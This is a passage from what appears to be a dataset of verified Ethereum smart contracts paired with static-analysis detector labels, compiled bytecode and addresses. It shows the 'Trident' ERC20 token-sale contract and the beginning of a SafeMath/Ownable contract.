{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,224 |
0x741a524241bb6d8cf2566ac7f2f45adba015f5f5
|
/**
*Submitted for verification at Etherscan.io on 2022-04-12
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.13 <0.9.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, _allowances[owner][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = _allowances[owner][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract Trident is ERC20, Ownable, ReentrancyGuard{
uint256 private _price;
// max amount of tokens
uint256 public maxSupply;
/**
* Event for token purchase logging
* @param beneficiary who paid for the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokensPurchased(address indexed beneficiary, uint256 value, uint256 amount);
constructor () ERC20('Trident', 'TRD') {
maxSupply = 50000000000 * 10**decimals();
_price = 5 * 10**12;
}
function buyTokens(address purchaser) public nonReentrant payable {
uint256 amountSent_ = msg.value;
require(amountSent_ >= _price, 'not enough to buy token');
uint256 amount = _tokenAmount(amountSent_);
require(maxSupply > totalSupply() + amount, "Insufficient supply");
_mint(purchaser, amount);
emit TokensPurchased(purchaser, amountSent_, amount);
}
function withdraw() public onlyOwner nonReentrant {
// This will transfer the remaining contract balance to the owner.
// Do not remove this otherwise you will not be able to withdraw the funds.
// =============================================================================
(bool os, ) = payable(owner()).call{value: address(this).balance}('');
require(os);
// =============================================================================
}
function _tokenAmount(uint256 amount_) private view returns (uint256) {
uint8 _coefficient;
if(amount_ <= (1 * 10**17)){
_coefficient = 1;
} else if((amount_ > (1*10**17)) && (amount_ <= (5*10**17))){
_coefficient = 2;
} else if((amount_ > (5*10**17)) && (amount_ <= (1*10**18))){
_coefficient = 3;
} else if((amount_ > (1*10**18)) && (amount_ <= (3*10**18))){
_coefficient = 4;
} else if((amount_ > (3*10**18)) && (amount_ <= (5*10**18))){
_coefficient = 5;
} else if((amount_ > (5*10**18)) && (amount_ <= (10*10**18))){
_coefficient = 6;
} else if((amount_ > (10*10**18))){
_coefficient = 10;
}
uint256 _amount = (amount_ * _coefficient * 10**decimals()) / _price;
return _amount;
}
fallback() external payable{
buyTokens(_msgSender());
}
receive() external payable{
buyTokens(_msgSender());
}
}
|
0x6080604052600436106101025760003560e01c8063715018a611610095578063a9059cbb11610064578063a9059cbb14610361578063d5abeb011461039e578063dd62ed3e146103c9578063ec8ac4d814610406578063f2fde38b1461042257610119565b8063715018a6146102b75780638da5cb5b146102ce57806395d89b41146102f9578063a457c2d71461032457610119565b8063313ce567116100d1578063313ce567146101fb57806339509351146102265780633ccfd60b1461026357806370a082311461027a57610119565b806306fdde031461012b578063095ea7b31461015657806318160ddd1461019357806323b872dd146101be57610119565b366101195761011761011261044b565b610453565b005b61012961012461044b565b610453565b005b34801561013757600080fd5b506101406105b4565b60405161014d91906115be565b60405180910390f35b34801561016257600080fd5b5061017d60048036038101906101789190611679565b610646565b60405161018a91906116d4565b60405180910390f35b34801561019f57600080fd5b506101a8610669565b6040516101b591906116fe565b60405180910390f35b3480156101ca57600080fd5b506101e560048036038101906101e09190611719565b610673565b6040516101f291906116d4565b60405180910390f35b34801561020757600080fd5b506102106106a2565b60405161021d9190611788565b60405180910390f35b34801561023257600080fd5b5061024d60048036038101906102489190611679565b6106ab565b60405161025a91906116d4565b60405180910390f35b34801561026f57600080fd5b50610278610755565b005b34801561028657600080fd5b506102a1600480360381019061029c91906117a3565b6108a6565b6040516102ae91906116fe565b60405180910390f35b3480156102c357600080fd5b506102cc6108ee565b005b3480156102da57600080fd5b506102e3610976565b6040516102f091906117df565b60405180910390f35b34801561030557600080fd5b5061030e6109a0565b60405161031b91906115be565b60405180910390f35b34801561033057600080fd5b5061034b60048036038101906103469190611679565b610a32565b60405161035891906116d4565b60405180910390f35b34801561036d57600080fd5b5061038860048036038101906103839190611679565b610b1c565b60405161039591906116d4565b60405180910390f35b3480156103aa57600080fd5b506103b3610b3f565b6040516103c091906116fe565b60405180910390f35b3480156103d557600080fd5b506103f060048036038101906103eb91906117fa565b610b45565b6040516103fd91906116fe565b60405180910390f35b610420600480360381019061041b91906117a3565b610453565b005b34801561042e57600080fd5b50610449600480360381019061044491906117a3565b610bcc565b005b600033905090565b600260065403610498576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161048f90611886565b60405180910390fd5b600260068190555060003490506007548110156104ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e1906118f2565b60405180910390fd5b60006104f582610cc3565b905080610500610669565b61050a9190611941565b6008541161054d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610544906119e3565b60405180910390fd5b6105578382610e22565b8273ffffffffffffffffffffffffffffffffffffffff167f8fafebcaf9d154343dad25669bfa277f4fbacd7ac6b0c4fed522580e040a0f33838360405161059f929190611a03565b60405180910390a25050600160068190555050565b6060600380546105c390611a5b565b80601f01602080910402602001604051908101604052809291908181526020018280546105ef90611a5b565b801561063c5780601f106106115761010080835404028352916020019161063c565b820191906000526020600020905b81548152906001019060200180831161061f57829003601f168201915b5050505050905090565b60008061065161044b565b905061065e818585610f81565b600191505092915050565b6000600254905090565b60008061067e61044b565b905061068b85828561114a565b6106968585856111d6565b60019150509392505050565b60006012905090565b6000806106b661044b565b905061074a818585600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107459190611941565b610f81565b600191505092915050565b61075d61044b565b73ffffffffffffffffffffffffffffffffffffffff1661077b610976565b73ffffffffffffffffffffffffffffffffffffffff16146107d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c890611ad8565b60405180910390fd5b600260065403610816576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080d90611886565b60405180910390fd5b60026006819055506000610828610976565b73ffffffffffffffffffffffffffffffffffffffff164760405161084b90611b29565b60006040518083038185875af1925050503d8060008114610888576040519150601f19603f3d011682016040523d82523d6000602084013e61088d565b606091505b505090508061089b57600080fd5b506001600681905550565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108f661044b565b73ffffffffffffffffffffffffffffffffffffffff16610914610976565b73ffffffffffffffffffffffffffffffffffffffff161461096a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096190611ad8565b60405180910390fd5b6109746000611455565b565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546109af90611a5b565b80601f01602080910402602001604051908101604052809291908181526020018280546109db90611a5b565b8015610a285780601f106109fd57610100808354040283529160200191610a28565b820191906000526020600020905b815481529060010190602001808311610a0b57829003601f168201915b5050505050905090565b600080610a3d61044b565b90506000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083811015610b03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afa90611bb0565b60405180910390fd5b610b108286868403610f81565b60019250505092915050565b600080610b2761044b565b9050610b348185856111d6565b600191505092915050565b60085481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610bd461044b565b73ffffffffffffffffffffffffffffffffffffffff16610bf2610976565b73ffffffffffffffffffffffffffffffffffffffff1614610c48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3f90611ad8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610cb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cae90611c42565b60405180910390fd5b610cc081611455565b50565b60008067016345785d8a00008311610cde5760019050610dda565b67016345785d8a000083118015610cfd57506706f05b59d3b200008311155b15610d0b5760029050610dd9565b6706f05b59d3b2000083118015610d2a5750670de0b6b3a76400008311155b15610d385760039050610dd8565b670de0b6b3a764000083118015610d5757506729a2241af62c00008311155b15610d655760049050610dd7565b6729a2241af62c000083118015610d845750674563918244f400008311155b15610d925760059050610dd6565b674563918244f4000083118015610db15750678ac7230489e800008311155b15610dbf5760069050610dd5565b678ac7230489e80000831115610dd457600a90505b5b5b5b5b5b5b6000600754610de76106a2565b600a610df39190611d95565b8360ff1686610e029190611de0565b610e0c9190611de0565b610e169190611e69565b90508092505050919050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8890611ee6565b60405180910390fd5b610e9d6000838361151b565b8060026000828254610eaf9190611941565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f049190611941565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610f6991906116fe565b60405180910390a3610f7d60008383611520565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ff0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe790611f78565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361105f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110569061200a565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161113d91906116fe565b60405180910390a3505050565b60006111568484610b45565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146111d057818110156111c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b990612076565b60405180910390fd5b6111cf8484848403610f81565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611245576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123c90612108565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ab9061219a565b60405180910390fd5b6112bf83838361151b565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611345576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133c9061222c565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113d89190611941565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161143c91906116fe565b60405180910390a361144f848484611520565b50505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561155f578082015181840152602081019050611544565b8381111561156e576000848401525b50505050565b6000601f19601f8301169050919050565b600061159082611525565b61159a8185611530565b93506115aa818560208601611541565b6115b381611574565b840191505092915050565b600060208201905081810360008301526115d88184611585565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611610826115e5565b9050919050565b61162081611605565b811461162b57600080fd5b50565b60008135905061163d81611617565b92915050565b6000819050919050565b61165681611643565b811461166157600080fd5b50565b6000813590506116738161164d565b92915050565b600080604083850312156116905761168f6115e0565b5b600061169e8582860161162e565b92505060206116af85828601611664565b9150509250929050565b60008115159050919050565b6116ce816116b9565b82525050565b60006020820190506116e960008301846116c5565b92915050565b6116f881611643565b82525050565b600060208201905061171360008301846116ef565b92915050565b600080600060608486031215611732576117316115e0565b5b60006117408682870161162e565b93505060206117518682870161162e565b925050604061176286828701611664565b9150509250925092565b600060ff82169050919050565b6117828161176c565b82525050565b600060208201905061179d6000830184611779565b92915050565b6000602082840312156117b9576117b86115e0565b5b60006117c78482850161162e565b91505092915050565b6117d981611605565b82525050565b60006020820190506117f460008301846117d0565b92915050565b60008060408385031215611811576118106115e0565b5b600061181f8582860161162e565b92505060206118308582860161162e565b9150509250929050565b7f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00600082015250565b6000611870601f83611530565b915061187b8261183a565b602082019050919050565b6000602082019050818103600083015261189f81611863565b9050919050565b7f6e6f7420656e6f75676820746f2062757920746f6b656e000000000000000000600082015250565b60006118dc601783611530565b91506118e7826118a6565b602082019050919050565b6000602082019050818103600083015261190b816118cf565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061194c82611643565b915061195783611643565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561198c5761198b611912565b5b828201905092915050565b7f496e73756666696369656e7420737570706c7900000000000000000000000000600082015250565b60006119cd601383611530565b91506119d882611997565b602082019050919050565b600060208201905081810360008301526119fc816119c0565b9050919050565b6000604082019050611a1860008301856116ef565b611a2560208301846116ef565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611a7357607f821691505b602082108103611a8657611a85611a2c565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611ac2602083611530565b9150611acd82611a8c565b602082019050919050565b60006020820190508181036000830152611af181611ab5565b9050919050565b600081905092915050565b50565b6000611b13600083611af8565b9150611b1e82611b03565b600082019050919050565b6000611b3482611b06565b9150819050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611b9a602583611530565b9150611ba582611b3e565b604082019050919050565b60006020820190508181036000830152611bc981611b8d565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611c2c602683611530565b9150611c3782611bd0565b604082019050919050565b60006020820190508181036000830152611c5b81611c1f565b9050919050565b60008160011c9050919050565b6000808291508390505b6001851115611cb957808604811115611c9557611c94611912565b5b6001851615611ca45780820291505b8081029050611cb285611c62565b9450611c79565b94509492505050565b600082611cd25760019050611d8e565b81611ce05760009050611d8e565b8160018114611cf65760028114611d0057611d2f565b6001915050611d8e565b60ff841115611d1257611d11611912565b5b8360020a915084821115611d2957611d28611912565b5b50611d8e565b5060208310610133831016604e8410600b8410161715611d645782820a905083811115611d5f57611d5e611912565b5b611d8e565b611d718484846001611c6f565b92509050818404811115611d8857611d87611912565b5b81810290505b9392505050565b6000611da082611643565b9150611dab8361176c565b9250611dd87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611cc2565b905092915050565b6000611deb82611643565b9150611df683611643565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611e2f57611e2e611912565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611e7482611643565b9150611e7f83611643565b925082611e8f57611e8e611e3a565b5b828204905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000611ed0601f83611530565b9150611edb82611e9a565b602082019050919050565b60006020820190508181036000830152611eff81611ec3565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611f62602483611530565b9150611f6d82611f06565b604082019050919050565b60006020820190508181036000830152611f9181611f55565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611ff4602283611530565b9150611fff82611f98565b604082019050919050565b6000602082019050818103600083015261202381611fe7565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000612060601d83611530565b915061206b8261202a565b602082019050919050565b6000602082019050818103600083015261208f81612053565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006120f2602583611530565b91506120fd82612096565b604082019050919050565b60006020820190508181036000830152612121816120e5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612184602383611530565b915061218f82612128565b604082019050919050565b600060208201905081810360008301526121b381612177565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612216602683611530565b9150612221826121ba565b604082019050919050565b6000602082019050818103600083015261224581612209565b905091905056fea2646970667358221220e9be6ff5e3e7def91045c27a0cfaea8b0f07a40f7919bea3ee3f675e3e8a110064736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 3,225 |
0xBbDf7dE7b6AFB2E0E795f388EC41340f67C3Fd28
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
//
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
//
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
